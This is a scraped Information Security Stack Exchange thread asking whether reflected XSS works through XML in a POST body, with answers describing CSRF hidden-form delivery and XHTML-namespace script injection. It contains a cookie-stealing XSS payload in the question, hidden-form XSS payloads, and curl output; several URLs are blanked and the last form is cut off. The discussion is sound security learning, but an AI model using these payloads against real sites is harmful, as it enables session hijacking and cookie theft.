Information Security Stack Exchange is a question and answer site for information security professionals. Join them; it only takes a minute:

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

I know that a reflected XSS can be done with a GET request like:<script>location.href=''+document.cookie;</script>

As long the response looks similar to this:

        <title>Your Serach Results</title>
        <h2>No results for: </h2>

But is this attack still possible, in case that the search term is send along a POST request in the http body as part of XML content. This approch is often used by RESTful services.


If this is possible, how can an attacker achieve this?


It is also required that the Content-Type header is set to application/xml

share|improve this question
up vote 1 down vote accepted

Attacker can use to an auto submittable remote form with default value. like this :

<form name="x" action="http://site/index" method="post">
<input type="hidden" name='search' value='<script>alert(/XSS/)</script>'>

<form name="x" action="http://site/index" method="post">
<input type="hidden" name='<?xml version' value='"1.0"?><query><script>alert(/XSS/)</script></query>'>


Add a script stating XHTML namespace, it will run. Example

sajjad@xxx:~$ curl -v
* About to connect() to port 80 (#0)
*   Trying
* connected
* Connected to ( port 80 (#0)
> GET /files/2013/09/script.xml HTTP/1.1
> User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8x zlib/1.2.5
> Host:
> Accept: */*
< HTTP/1.1 200 OK
< Date: Mon, 16 Sep 2013 06:01:57 GMT
< Server: Apache
< Last-Modified: Mon, 16 Sep 2013 06:00:14 GMT
< Accept-Ranges: bytes
< Content-Length: 169
< X-Version: Securation 0.0.2 Beta
< Connection: close
< Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
        <script xmlns="">
* Closing connection #0


share|improve this answer

In order for reflective XSS to be useful to an attacker, it must make a Cross-site request. So, in this case, an attacker will need a CSRF exploit to deliver the XML, which contains the XSS payload.

My preferred approach is to use ActionScript which has control over parts of the HTTP header, such as the Content-Type. ActionScript can control the entire HTTP body of a POST request. A tool I wrote in ActionScript called CSRF-Request-Builder will do this.

Another approach to XML based CSRF is to use name form attribute:

<FORM NAME="buy" ENCTYPE="text/plain"
action="" METHOD="POST">
<input type="hidden" name='<Query>
share|improve this answer

Your Answer


By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.